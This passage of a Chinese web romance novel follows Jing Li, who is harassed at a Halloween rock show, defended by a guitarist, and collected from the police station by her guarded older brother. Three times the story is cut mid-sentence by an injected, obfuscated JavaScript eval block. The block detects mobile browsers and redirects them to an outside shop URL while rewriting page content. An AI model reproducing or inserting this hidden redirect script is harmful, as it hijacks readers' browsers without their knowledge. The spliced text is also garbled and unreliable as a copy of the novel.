《今夜无信号》 1. 兄妹 《今夜无信号》 禾刀/文 2024/8/30 晋江文学城首发,请支持正版。 Chapter 01 兄妹 2020年10月31日,万圣夜。 梧城已是晚秋。 夜里七点,温度直降。 荆梨独自站在热闹的街口,穿着清凉吊带,下搭短裙和网袜,铆钉choker衬得细长的脖子愈加白腻,她没骨头似的靠着装饰灯牌,点起今夜的不知道第几根烟。 夸张的烟熏妆遮盖了她原本清丽的面容,浓长的假睫毛压得她眼皮不适,但荆梨还是固执的不愿摘掉。 她好不容易贴上的。 沉没成本不参与重大决策,可对于少女来说,哪怕痛到难以忍受,也要死死抓住她好不容易得到的东西。 这东西可以是美,也可以是人。 荆梨仰起头,作怪地吐出形状完美的烟圈。 烟雾迷了她的眼睛,接着转瞬弥散,给这座都市繁华的夜景蒙了层雾白的滤镜。 她眯起眼醉态地笑出声,稚气未脱的脸上透出几分违和的妩媚。 口红在烟嘴上留下一圈斑驳印记,白与红交织,有种颓唐的美感。 荆梨垂眸瞥了眼,下意识舔了舔唇角。 正当她要掏口红补妆时,好友易梓薇姗姗来迟,高跟鞋“哒哒”的脆响由远及近,伴随女生大剌剌的嗓音:“抱歉啊亲爱的,路上堵了,没让你等太久吧?” 荆梨站直身子灭掉烟,动了动被寒风吹麻的腿,抱着手臂,语气有点阴阳:“不久,也就半个小时吧。” 易梓薇闻言弯起笑,拉着她的手来回晃悠,腕上夸张的手链撞得叮当作响,她嗔道:“不能怪我,你也知道我学校那东门口有多难打车,今晚又是万圣夜,一群‘牛鬼蛇神’挤在门口,为了快点见到你我是跟一学长拼车来的,我还牺牲了我的微信号呢。” 可爱女孩撒娇卖乖的模样着实叫人招架不住,荆梨很吃这一套,况且她本来也没生气。 “好好好,不怪你,小样儿还委屈上了。” 荆梨耷眉哼笑,向上拉长的眼线将圆润的眼型装饰得漂亮又凌厉,右脸颊的小梨涡若隐若现。 她长得太嫩了,所以从拥有对外在的自主权后,她就总使着劲往成熟御姐的方向去打扮。 用力到刻意,于是便给周围人留下“酷”“拽”“不三不四”的标签。 除了在那个人面前。 她不敢这么用力,因为用力了对方也不会给予她想要的反应。 她勾住易梓薇的脖子朝街道深处走,半个身子压向她,声线温细,懒洋洋的:“那学长长得帅吗?” 易梓薇仰脸回忆了一下,随即一言难尽地皱起脸:“人挺热心的。” 荆梨抬手打住:“懂了。” 是个好人。 二人相视一笑,话题到此为止。 易梓薇想起待会儿的演出,忙将包里提前准备的东西拿出来,将其中一条明黄色的、印有黑色logo的腕带塞到荆梨手中。 荆梨眼尾微挑,手指夹起腕带打量了眼,问道:“这就是你家哥哥的应援物啊?” 易梓薇“嗯”了声,尾音上扬,听着还挺骄傲:“帅吧,这个黑色眼睛的logo可是我家陆檀哥哥亲自设计的。” “他人长得帅,吉他弹得好,不管都能做得很好。” “……哦。” 望着那小学生水平的涂鸦荆梨把到嘴边的吐槽咽了回去。 易梓薇是她的高中同学,成绩差劲但家里有钱,性格好还没有架子。 高中那会儿荆梨纯一脾气古怪的刺头,女生堆玩不进去,男生堆混得很开,用班主任老朱的话说——整天吊儿郎当的,耷拉张死人脸,跟谁欠她百八十万似的,哪还有个女生样! 直到她跟易梓薇成了同桌。 大小姐可能从小被捧习惯了,初次遇到张嘴就毫无情商可言的荆梨,像哥伦布发现新大陆。 荆梨:“你那镶钻发箍挺晃眼啊,怕走夜路看不清是吧。” 易梓薇眨巴着大眼,美滋滋道:“你注意到了呀,我戴着是不是很好看?” 荆梨:“……” 一个嘴毒心软,一个缺心眼,莫名产生了化学反应成为好友。 哪怕考到了不同的大学也依旧缠缠绵绵。 大小姐没啥爱好,唯一的乐趣就是追星,而且三分钟热度,见一个爱一个,只要长得合她眼缘的这丫头都能叫声哥哥。 易梓薇这次追的是个叫“冷感热带鱼”的小众摇滚乐队,她最迷其中的吉他手兼主唱,说对方演奏的样子很像古早漫画里离经叛道的男主。 不知道这位叫陆檀的帅哥能在大小姐心里坚.挺多久。 乐队今晚会在Live House演出,因为不出名所以票特别好抢,她找不到同担,于是拉着荆梨来嗨,顺便一起过个万圣节。 “快系上,我们在门口拍个照就能进去了。”易梓薇催促。 荆梨诽腹幼稚,但还是乖乖地往手腕上系。 她单手鼓捣半天都没系好,易梓薇看不下去上前帮忙,接着掏出手机搂着荆梨照了张甜蜜双人自拍。 她笑眯眯地检查照片,简单P完后照例发一份给荆梨。 荆梨点击保存,并未像易梓薇那样兴冲冲地发朋友圈,而是点开一个名叫“今夜”的社交软件。 一天没看,99+的消息提示接连跳出来,基本都是粉丝的评论和私信,她不急着翻看,而是第一时间点开和置顶用户“433”的聊天框。 最后一条消息还是前天夜里他的一句“晚安”。 荆梨敛眉,掩盖眼里一瞬的失落。 433说他现生很忙。 于是每次都是她在等待对方主动找她。 很被动,这种若即若离的推拉感让她不爽又无可奈何。 许是今天化了个满意的妆,不知道为什么,这一刻她突然很想爆照。 念头一起,荆梨几乎没有犹豫,简单编辑了文案,在今夜上发了条动态。 【和朋友出来过万圣节。】 下面附着刚刚和易梓薇的自拍。 腕上明黄色的应援带格外显眼,背景还贴心地照到了Live House的招牌。 发完她便收起手机不再管,被易梓薇拉去排队检票进场。 “哎对了,顾北哥出差什么时候回来啊?”易梓薇抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456439|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着荆梨的腰,下巴搁在她肩头,黏糊糊地撒娇,“好久没跟你夜聊了,他不在家的话这两天我去陪你住呗。” 她之所以找好友过夜都得提前询问她哥哥在不在家,就是因为她曾经见识过顾北管荆梨有多严。 还记得当时她们正上高二,荆梨有次夜不归宿。 那天腕上她刚洗漱完准备睡觉,手机兀地跳出荆梨的电话,她接通后对面传来的却是一道陌生的男音。 他说他是荆梨的哥哥,叫顾北。 男人声线沉冷,带着淡淡疲惫的嘶哑,他音色很出众,属于在人群里一听就能记住的那种。 易梓薇一下挺直脊背,有些紧张地打招呼。 男人问她荆梨在不在她家。 易梓薇下意识想为好友打圆场,可对方似是察觉到了她的想法,又淡声补充:“她手机落在卧室没带出去,我很担心她。” 男人语气温和,可态度却不容置疑。 易梓薇担心荆梨这么晚不回家万一真出事就糟了,便老实说她不在,并且自己也不清楚她此刻在哪儿。 话落,电话那头短暂沉默,易梓薇下意识提了口气,感受到一股无形的压迫。 莫名的,她虽不曾见过这个哥哥,但心里已经对他发怵了。 第二天早自习,一个高挑挺阔的身影出现在班级后门口,初晨朝阳淡金色的光晕洒落在他宽阔的背脊,那张干净俊秀到稍显女气的脸陷在背光的阴影里,衬得那双狭长凤眼愈发漆黑深邃。 他双手插兜,气质出众,整个人像尊无悲无喜的雕塑,面沉如水地盯着她身边束着高马尾的荆梨,眸光晦暗,视线如有实质,似能看进人心底,不自觉在他面前低下头来。 荆梨没回头看他一眼,跟和谁置气一般,长睫低垂,盯着单词本一言不发,像僧人入定。 不一会儿班主任老朱赶了过来,将兄妹二人领去办公室。 二人一前一后穿过走廊,一个犟一个冷,五官间毫无相像的地方,但就是让人信服他俩是一家人。 因为透出来的孤独气质,很像。 后来她才得知荆梨和理科班的一个男生早恋了。 两人晚上在操场上牵手被教导主任抓了现行,老朱电话打给顾北让他过来领人,回家后兄妹俩大吵一架,荆梨手机都没拿就跑了出去。 那天之后,荆梨就被迫和早恋对象分手了,一头扎进艺考里,高三美术联考拿到了省10的好成绩,之后校考连拿五家美院小圈。 她出成绩那天易梓薇暗暗咋舌:果然上岸第一步,先斩意中人。 至于兄妹俩为什么一个姓顾一个姓荆。 荆梨给的答案是——两人是同母异父。 易梓薇表示:合理。 蓦然听到顾北的名字,荆梨敛回散远的思绪,她忽略方才心跳突颤带来的异样酥麻,耸耸肩:“估计还要几天吧。” 她顿了顿,垂睫牵起唇角,自我反驳般讽道:“我也不知道,他从不跟我说他工作上的事。” 易梓薇依旧反应迟钝,没察觉到好友陡然的情绪变化,她小声欢呼,仿佛得到父母首肯去同学家过夜的小孩子:“那我今晚要穿你的睡衣!” 荆梨无奈轻笑,点点头,不再开口。 2. 我哥 Chapter 02 “我哥。” 不大的场馆内冷气十足,荆梨还是觉得不凉快,她在餐区点了杯冰可乐,猛灌了一大口才随着易梓薇走到前排VIP区域。 冷感热带鱼这个乐队是在一年前成立的,出道时间不长,出的歌倒不少,足够支撑起将近一个半小时的演出,加上前阵子吉他手陆檀在某短视频软件上因颜值小小出圈,所以哪怕歌不火,演出票也在一个月内稀稀拉拉地卖光了。 或许是样貌太过出众,穿着也个性,荆梨刚找好地方站定,就来了个男的搭讪。 “美女,可以加个微信吗?” 荆梨闻声挑了挑眉,撇头望向那人。 黑瘦矮个,布丁头,眯缝眼高颧骨,很抱歉的长相,穿着某烂大街潮牌的T恤,裤子也很垮,一身叮里当啷的廉价饰品,扑面而来的屌丝气息。 见荆梨看过来男人腼腆一笑,估计以为自己这样可像个招人喜欢的小奶狗了。 “你长得简直就在我的点上,认识一下交个朋友呗。” 荆梨和易梓薇对视一眼,随即抿唇哧了一声,很轻,但嘲讽意味十足。 “不可以哦。”她转过身后腰倚着栏杆,一手握着可乐,一手揽过易梓薇,眉宇间透着慵懒,嗓音轻浅含笑,“我女朋友会吃醋的。” 说罢低头在易梓薇额角落下一吻,墨色长发随着动作垂落,露出骨感雪白的肩颈线条,漂亮得极具冲击力。 易梓薇抬手摸了摸鼻子,忍着笑,算是默认。 男人见状表情如遭雷击,说不出一句话来,很快眼神从开始的震惊转变为嫌恶,甚至还有些微的可惜。 也不知道在可惜什么,仿佛荆梨不是同他就有机会一样。 男人忿忿地走了,离开前还能听见他嘴里在低声骂着什么。 易梓薇抱臂翻了个白眼:“我要是有他们一半自信就好了,待会见到陆檀哥哥我直接嗨老公。” 荆梨故意逗她:“所以到底是哥哥还是老公?” 易梓薇理所当然,笑呵呵的:“是哥哥也可以是老公啊,一点也不冲突。” 听到这话,荆梨脸上的笑淡了下去,她仰头喝可乐,眼睛被头发的阴影挡住,看不清里面的情绪。 十几分钟后整个场馆的灯陡然熄灭,追光落在台上不知何时出现的红发吉他手身上。 尖锐澎湃的电吉他点燃了氛围,易梓薇手作喇叭状一蹦一跳地叫着陆檀的名字,少女尖细的嗓音刺得人耳膜生疼。 荆梨好奇让大小姐如此上头的男人到底长什么样,眯眼打量起台上激情演奏的吉他手。 一头红发无比张扬,小狼狗的长相,五官浓烈深邃,帅得很客观,看着年纪也不大,最多二十出头。 确实是能让小女孩念念不忘的模样。 一曲独奏结束,乐队其他成员陆续上场。 荆梨扫了一眼,暗道怪不得只有陆檀火,成员四人站一块儿,陆檀突出得仿佛和其他人不在一个图层。 简单的talking感谢环节让场子更热,易梓薇扯着嗓子喊了声巨响的“老公”,惹得四周发出闷笑。 台上的陆檀显然也听见了,视线落到她们所在的位置,他露出虎牙,很自然地应了声:“哎!” 易梓薇疯了。 荆梨却敏锐地察觉到陆檀的目光与她隔空相撞了一秒,很快又分开,仿若错觉。 心头生出一种熟悉的,被当成猎物盯上的不适感。 她没忍住皱起眉。 接下来是漫长的演唱环节,为什么用“漫长”,因为他们的歌荆梨一首都没听过。 不过好在气氛一直很高昂,所以她干脆把这当成了蹦迪现场,身体随着节奏摇晃,周遭的人群不断往舞台的方向挤,挤得她刚镇下去的热再一次冒了出来。 但紧接着她便察觉到了不对劲的地方。 有人在蹭她的屁股。 意识到这点荆梨的情绪唰的一下冷了下来。 她不动声色地往前挪,身后那人也跟着她移动。 看来并非是误会,就是故意在骚扰她。 一股恶寒与厌恶自心底涌现,荆梨闭了闭眼,暗骂今天出门没看黄历,她站定身子无语冷笑,眼里乌云翻滚,表情阴沉无比。 那人还不知道自己的恶行已经被发现了,愈发肆无忌惮,手都伸到了荆梨腰侧,在即将触到皮肉的刹那一股冰凉的液体朝他脸上泼了过来。 恰好一首歌结束,热闹过后的寂静中一道清脆的巴掌声突兀响起,四周霎时鸦雀无声。 “你他妈再动我一下试试!”荆梨猛推了那男人一把,指着他鼻子警告。 男人赫然就是开场前要微信不成的瘦猴。 易梓薇吓了一跳,忙问荆梨发生了什么。 得知对方骚扰好友,她想也不想地掏出手机,冲瘦猴高声喝道:“你小子别动,我现在就报警!” 瘦猴被可乐和巴掌弄懵了,愣了几秒才反应过来,他顿时甩出嘴硬耍赖那一套,坚决不肯承认刚才干的破事,还仗着自己在女生面前的身高优势,叫嚷着推搡二人,一副死猪不怕开水烫的姿态。 “报警就报警!老子什么也没干!” 周围看不下去的女孩子上前帮忙声讨,很快VIP区就闹了起来,动静越来越大。 台上的陆檀用话筒询问怎么了,得知粉丝堆里有乱摸女生的色狼,他一下严肃起来,肃声让保安赶人。 可那瘦猴不是个会借坡下驴的主儿,以为荆梨掏不出指证他骚扰的证据,又觉得自己当众被扇巴掌掉了面儿,于是破锣嗓子越扯越大,推搡的动作也更加过分,直戳得女孩瘦削的肩膀隐隐作痛,另一只手则高高扬起,显然想要把刚才受的一巴掌还回去。 “敢做不敢认是吧?”荆梨毫不示弱,昂着脖子嘲讽,“你他妈就是条随时随地发情的狗!” 瘦猴闻言龇起牙,巴掌自上而下甩在荆梨脸上。 啪一声,荆梨被打得偏了头,耳朵嗡嗡作响,嘴唇麻麻的,应该是裂了。 几乎是下意识的反应,她举手就要还回去。 没想到有人快她一步。 伴随着易梓薇的尖叫,只见一道红色的身影从后方蹿出来,一拳砸在瘦猴的脸上。 瘦猴摔倒在地一时爬不起来,人群哄然四散,以免殃及到自己。 一切都发生的太快。 陆檀砸了话筒,跳下舞台翻身越过栏杆把色狼打了…… 空气都静滞了一瞬。 荆梨望着挡在自己面前胸膛起伏剧烈的男生,神情从诧异转而变成复杂。 易梓薇率先回过神,第一时间将荆梨护在怀里,指尖颤抖地去碰她胀红的左脸,心疼地直掉眼泪,声线发颤:“是不是很疼?我们去医院……” “不碍事。” 荆梨舔了舔冒血的下唇,淡淡的腥味在口腔里蔓延,倒让她彻底冷静下来。 她攥住易梓薇的手腕,朝她扬起一个安抚的微笑,眼尾轻挑,心大的很,“一个巴掌而已,待会到警局有大用。” - 城东派出所内,瘦猴撒泼的叫喊吵得人心烦。 易梓薇在外面给她爸打电话,直嚷着让公司的法务过来,她要告瘦猴。 接受完问询的陆檀神情恹恹地坐到荆梨旁边,沉默在二人之间流转。 荆梨左脸肿的老高,指尖缓慢滑动手机屏幕,冷幽的荧光照得她的眼眸格外明亮沉静。 她神情专注,仿佛不曾察觉身旁多了个人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456440|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “喂。”男生率先打破尴尬,将自己的微信二维码递到荆梨跟前,“我的微信,加一下。” 荆梨这才有了点动静,像发条上锈的机械娃娃,顿顿地偏头看他,眼神暗含审视的打量,黑眼仁过多的眼睛看起来空洞洞的,仿佛一汪无底的深潭。 这双鬼泣森森的杏眸,配上柔软清纯的脸,实在是吸引人。 陆檀盯着她,喉结意味不明地滚了滚。 “不用了。”荆梨收回视线,神色淡淡,“我不是你的粉丝。” 言外之意:对你的微信不感兴趣。 陆檀兴味地挑起单边眉:“看出来了。”说完又似笑非笑地补充,“可我今晚为你打了人啊。” 荆梨笑不及眼,语气客气却不近人情:“我求你打了吗?” “你自己逞能,关我屁事。” 陆檀第一次遇到这么“白眼狼”的人,他愣了愣,随即笑得更开,对女生的兴趣愈发浓厚。 “我演出被毁,进了局子,大概率还要破点财,就算我讹你吧。”他重又把手机递过去,晃了晃,“加个好友,你补偿我点损失。” 还挺聪明,知道提感情没用,改提金钱了。 荆梨定定地看了他几秒,估计是想瞧瞧他有多无耻,接着翻了个白眼用手机扫了码。 通过好友之后她立刻就转了五千块过去,然后又把人删了。 “……” 注意到她的操作,陆檀气笑了,他正要和她理论理论,却听见前方出现一道由远及近的脚步声。 他下意识抬头,只见一个身着黑色西装的男人正朝他们的方向走来。 男人生了一双漂亮的凤眼,容貌昳丽精致,身材高瘦挺拔却不显单薄,整个人的气场格外强烈,剪裁得体的西装让他看起来矜贵不凡,仿若自带夺人眼球的滤镜,使周遭黯然失色。 除了散乱的额发和一脸的仆仆风尘,帮他添了几丝下凡的人气。 荆梨看清来人神色一怔,她似在躲避着什么,慌忙低下脑袋,任由长发将脸挡得严实。 顾北沉着脸,气息紊乱地站定在女孩面前,背光投射下来的身影携着无言的压迫,荆梨不自觉收缩肩膀,喉头发紧,心跳滞了一拍。 男人的视线从她的头顶扫到脚尖,把她从上到下看了个透,越看心头的无名火烧得越旺。 忽地,他伸手撩起她的长发别至耳后,手指捏住她的下巴,迫使女孩扬起脸。 他的动作并不温柔,荆梨吃痛拧眉,视线仍固执垂落着,死盯着男人的裤腿。 像在置气,也不知道这股气为什么而来。 就是……不想让他看见自己这幅狼狈到需要他跑来收场的可怜模样。 顾北冷冷地盯着荆梨红肿可怖的脸颊和下唇那道裂开的口子,手上的力气泄了大半,他几不可闻地叹了口气,哑声问:“疼不疼?” 荆梨不说话。 下一秒,男人的手背贴上她滚热的脸,微凉的触感消解了胀麻的痛感,她心头一刺,眼眶顿时发热。 明明被骚扰被打时她都不觉得委屈的。 “我白问,你就算疼死了也不会吭一声。”顾北哧了声,仿若自言自语,黑眸浮着无奈,还有点捕捉不到的宠溺。 一旁的陆檀瞧着二人动作亲昵,笼着一团叫人插不进去的氛围,他不由皱了皱眉。 好在这股奇怪的氛围被突兀的铃声打破,顾北收回手,掏出手机看清来电显示,犹豫了一下,又看了眼荆梨,还是选择转身走远接电话。 人一走,陆檀八卦地凑过来:“这人谁啊?” 荆梨慢慢抚上还残留微凉余温和雪松气味的脸,一眨不眨地盯着男人高瘦的背影,沉默了许久才梦呓般喃喃回答:“我哥。” 3. 怪我 Chapter 03 “怪我。” 听到二人只是兄妹,陆檀暗暗松了口气。 他伸手点了点荆梨的胳膊,迫使对方不得不分点注意力给他。 荆梨眉头微蹙,用眼神不耐地问:又要干嘛? 指尖感受到女孩皮肤的冰凉,陆檀毫不犹豫脱下自己的外套盖在荆梨的身上。 衣服上残存的温暖将她整个人包裹其中。 像行走在漫长冬夜的旅人被初晨的第一抹阳光笼罩。 只是冻到麻木了的身体反而觉得突兀。 荆梨愣了愣,但又很快恢复如常,眸光冷了下来。 “不用谢。” 陆檀扯唇一笑,虎牙为他那张野性的脸增添了些许少年稚气,配上一头红发,恍惚间还真像是灼人的太阳降临人间。 这样的男生,无人能抗拒吧。 偏偏荆梨是个例外。 她最怕热,也最讨厌太阳。 荆梨面无表情地抖落肩头的衣服,默默站起身,居高临下地俯视着他。 她抱着臂,脑袋稍歪,鼻孔朝人的模样要多拽有多拽,嗤道:“谁谢你了?自说自话上瘾是吧?”紧接着涂着黑色甲油的指尖点了点手机,“补偿你的钱已经转过去了,请你——离我远点。” 说罢,头也不回地走出派出所,背影潇洒至极,留陆檀一脸不可置信地坐在那儿。 陆檀这人是长了张迷惑人的好皮相,性格看似也属于开朗阳光那一挂。 但他盯着她的眼神荆梨太过熟悉。 分明是猎人盯着猎物的眼神。 玩味,打量,侵略,势在必得。 这小子,绝对是个情场高手。 也就是俗称的海王。 她没兴趣陪他玩。 走到门口,荆梨瞥了眼还在打电话的男人,从鼻子里哼了一声,不大不小,但足够顾北从电话中分过来一个眼神。 她装没看见,加快脚步,改变原本笔直的行动路线,故意作对地绕过他,往街对面走。 易梓薇刚结束通话,转身瞧见荆梨气鼓鼓的模样,伸手一把拉住她:“你要去哪儿?里面处理完了?” 荆梨背对着大门,顶着肿脸,一开口下唇就撕扯着疼:“饿了,去买点吃的。” 易梓薇下意识望向顾北所在的位置,刚要说些什么又顿住,她将荆梨扯回到门口,嘱咐道:“我去买,你好好待着。” 说罢,向不远处的连锁商店小跑而去。 夜晚的派出所不似白日喧闹,秋风急切地席卷落叶,空气中塞满了泥土的腥气和柏油马路浸湿的味道,看来今夜要有一场雨。 门口此时就剩兄妹俩,一人站一边,跟门神似的。 荆梨扭着脸,兀自找了个台阶坐下,从善如流地掏出口袋里的烟,呷根在嘴边,低头要点燃的时候,后脑被不轻不重地拨了一下。 “啊——” 荆梨身子一个踉跄,差点坐不稳跌下去,不等她回神质问,嘴边的烟已经被抽走了,连打火机也顺带着被夺了过去。 她不爽地仰头瞪向罪魁祸首。 顾北叼着烟,坐到她身旁单手笼风,火机“吧嗒”冒出红色火焰,照亮他棱角分明的轮廓,男人形容落拓,透着野性的颓废,那身板正的西装这一刻让他看着像个斯文败类。 火焰转瞬消散,一切又归于昏聩,仿佛稍纵即逝的烟火,美得惊心。 荆梨盯着他,略微失神。 “跟谁学的抽烟?” 烟雾随着他唇瓣开口随风飘散,顾北的嗓音都被醺出了点醉意的沙哑。 荆梨的视线又落到男人唇前的烟嘴上,那上面还残留着她的口红。 长睫颤了颤,她撇开眼,黑眸不聚焦地望向不远处的路灯,随手拍了拍小腿上并不存在的飞虫,闷声反问:“你说呢?” 自从学会抽烟后,她一次也没当顾北的面儿抽过。 毕竟自己一直在他面前保持的都是——不太听话,但总体懂事乖巧的形象。 那是顾北心里妹妹该有的形象。 她不想让他操心,所以一直维持的很好。 但今晚她这幅朋克打扮以及被骚扰挨打的狼狈模样已经被他瞧见了。 继续装乖不免显得有点刻意和矫情。 她也越来越厌倦在他面前伪装真实自我的样子。 顾北闻言弯了弯唇,脸颊顿时冒出两个浅浅的凹陷,模样看起来嫩得没边了,任谁都瞧不出他已经是快三十的人了。 男人并未如荆梨预想那般训斥她,反而低声道了句:“怪我。” 心脏被轻轻撞了下,泛起酥麻的涟漪,荆梨蜷紧胳膊,抱着膝盖不置一词,指关节因用力都浮出了白。 又是这样。 每一次自己被他发现做了“越界”的事,顾北最后都会以“是我的错”而揭过去。 作为哥哥,他很称职。 可荆梨不识好歹,她宁愿他怪她。 那样的话,她或许就有底气去重置一切。 空气再次陷入静默,烟丝燃烧的细微动静被夜色放大,气氛蓦然有些尴尬。 明明该是世界上最亲近的两个人,却不知从何时开始,他们独处时会不自觉地避免视线交汇,在一张桌子上吃饭也是沉默更多。 荆梨上大学后二人的共同话题更是逐渐缩小到她的学校杂事和人际相处,有时候顾北工作忙,他俩甚至一天都碰不着面。 到底是从什么时候开始的呢? 荆梨开始有意疏远自己。 顾北长睫微垂,掩去眸中的翻滚,他滚了滚喉结,感受口中香烟带来的苦涩滋味,下颌线条绷紧又松懈。 昏昧中,最后一丝火光被风卷灭。 荆梨正走着神,一双飘着淡淡烟味的手将她的脸从臂弯里捞了出来。 她愣怔一瞬,抬睫对上男人的凤眼。 他的双眼盖着层潋滟的波光,流转出温润的笑意,像吞噬人的漩涡,不受控地被他攥取所有思绪。 顾北生了张无比优越的脸,任谁瞧了都会下意识心生好感。 微微一笑就能化解因太帅而带来的距离感,让人不自觉对他卸下防备。 可真当你主动了,熟悉了,又会发现他从骨子里带出来的清冷和疏远,仿若一座经久不化的雪山。 巍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456441|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 峨、温柔,又讳莫如深,攀登途中随时都有坠落的风险,让人为他悬着一颗心,夜不安眠。 你试图靠近的代价就是被冻伤。 顾北的手很大,衬得女孩的脸只有巴掌小,他这次力道很轻,特意避开荆梨红肿的面颊,温热粗糙的指腹轻轻摩挲她下唇裂开的口子,眼神专注,仿佛在面对无价珍宝。 荆梨手指攥紧,盯着他忘了反抗,浑身的鸡皮疙瘩因唇上的触碰而冒了出来。 他的动作不带任何旖旎的情感,可就是无端叫人心绪不宁。 “还回去没有?”顾北视线轻抬,看了她一眼。 视线相撞,荆梨长睫微颤,有些狼狈地垂下眼:“我先甩了他一巴掌,不算太吃亏。” “有证据证明他骚扰你吗?”男人声线平淡,可眼里划过一瞬阴沉。 荆梨好似被撸顺毛的猫,忽然就忘了自己刚才置气犟种的状态,僵硬着脊背,低着嗓子老实回答:“周围有人看见他摸我了,警察说如果我不接受调解,他得被拘留几天。” 莫名的,说到最后她鼻腔涌出点酸,回想起那一幕,后知后觉的害怕与委屈蔓延开来,她吸了吸鼻子,嗡声道:“我不想调解。” 虽然荆梨此刻画着成熟锐利的烟熏妆,但那每次受委屈后强忍不发的小表情根本逃不过顾北的眼睛。 他捏揉着女孩的耳垂,为她放松绷紧的神经,接着伸手扣住她的后脑,将人揽入怀中,下巴抵着她柔软的发顶,温声开口:“不想就不想,你又没错,委屈什么。” 荆梨没受伤的右脸贴在男人宽厚的胸口,耳边是他强有力的心跳,腔壁因说话而微微震动,麻了她的耳廓,一路痒至心口。 她闭起眼,贪婪地感受着隔着西装渡过来的温度。 他好久没这样抱过她了。 不对。 应该说她好久没有这样不带负担地接受他的亲昵了。 “接下来都交给哥哥,你回去好好睡一觉,什么也别想。” 安静地抱了一会,顾北沉声道。 荆梨乖乖点头,随即想起什么,抓着男人的袖口问道:“对了,你不是还在隔壁市出差么。” 她抬头望向他:“怎么来的这么快?” 荆梨默认了是易梓薇打电话让顾北回来的。 那也才过去不到一个小时。 顾北动作一顿,眨了下眼,撇头看向停在路边的车,拖腔“啊”了声:“工作提前结束了,刚好今晚回来。” 荆梨闻言点了点头,不疑有他。 恰好这时易梓薇拎着袋子跑回来,揽住荆梨的手臂,甜甜地跟顾北打了声招呼。 顾北淡笑颔首:“今晚幸好有你陪在小梨身边。” 易梓薇听到这话却自责地瘪起嘴:“都怪我,要不是我非拉着她来看演出,也不会遇到这种糟心事。” “哎呦我的大小姐。”荆梨抬手捏了捏女孩的脸,哼笑道,“照你这么说我以后就别出门了,那什么糟心事都遇不到了,但可能嘛?” “要怪就怪那些让我们不敢出门的人,少自我反省。” 话糙理不糙。 易梓薇破涕为笑。 4. 今夜 Chapter 04 今夜 因为并未造成什么严重的后果,荆梨的脸也没破相,加上她不同意调解,所以瘦猴将被拘留三天。 听完处理结果后瘦猴心头窝火,但他又没胆子再继续闹。 眼看在荆梨那儿得不到好处,他便指着自己被陆檀打出血的嘴,非嚷那一拳把他的牙打坏了,向陆檀索要医疗费。 陆檀本打算自认倒霉,随便转个三千块钱赶紧把今晚这出闹剧给揭过去。 没想到却被顾北伸手按了回去。 陆檀神情微诧,偏头望向他。 男人自坐进调解室之后就一言不发,修身板正的高级西装依旧压不住他浑身散发的冷冽气息。 此刻他懒散地翘起二郎腿,双手交叠搁在腹前,如画的眉眼垂耷着,眉骨投下的阴影让人看不清他眸中的情绪,右手无名指上设计独特的白金色戒指在冷炽灯的照耀下反射锐敛的光。 “今晚是陆先生所在乐队初次在线下开展演唱会,因为你骚扰现场女观众的行为导致演出被迫中止,按道理你得承担主要责任,赔偿陆先生及其他工作人员因你而造成的损失。”顾北懒懒地掀起眼皮,眼神似笑非笑,“如果你还不依不饶,那陆先生将保留对你提起诉讼的权利。” 说罢,他歪头看向陆檀,眼尾轻挑,示意他说话。 陆檀一愣,不自觉点头:“对,对!” 经顾北点拨,他瞬间反应过来,起身一拍桌子,指着瘦猴骂道,“你还好意思朝我要钱,我演出得好好的,因为你全都毁了,你想想该怎么赔吧!” 瘦猴见状傻了,他死也没想到最后会绕到这一层。 他只是个大三的学生,兜儿可比脸还干净,平时掏一千块都费劲,真要他赔跟要他命没区别。 他试图撒泼,抬眼却撞上顾北沉冷无波的黑眸,许是男人气场太过强大,他怔在原地,嘴唇嗫嚅着动了动,最后一个屁都没敢放。 屋里闹闹哄哄,荆梨坐在顾北后面,心思却早已飞远,直盯着男人整齐裤腿下若隐若现的脚踝,脑海中仿佛出现一支无形的画笔,一笔一划将那精致的走向落于纸上。 接下来的发展荆梨不感兴趣,她画完脚踝,困意忽然席卷,没忍住打了个哈欠,并未克制音量。 前方的顾北下意识低头看腕表。 时间已经很晚了。 下一秒,他起身朝负责的民警走去,二人说了些什么,紧接着民警叫荆梨过来签了个字,然后就可以走了。 趁她签字的空档,顾北先一步离开去备车。 荆梨签完字不忘礼貌说一句“谢谢警察叔叔”,话落她转身去寻易梓薇,想叫上她一起回家。 没成想瞧见对方正拦着陆檀说话。 从侧面看,小姑娘眼眸亮晶晶的,里面盛满了崇拜。 荆梨不由拧了拧眉。 她三两步走过去揽住易梓薇的胳膊,半拖带拽地把人往门外拉:“行了行了别说了,走吧跟我回家。” 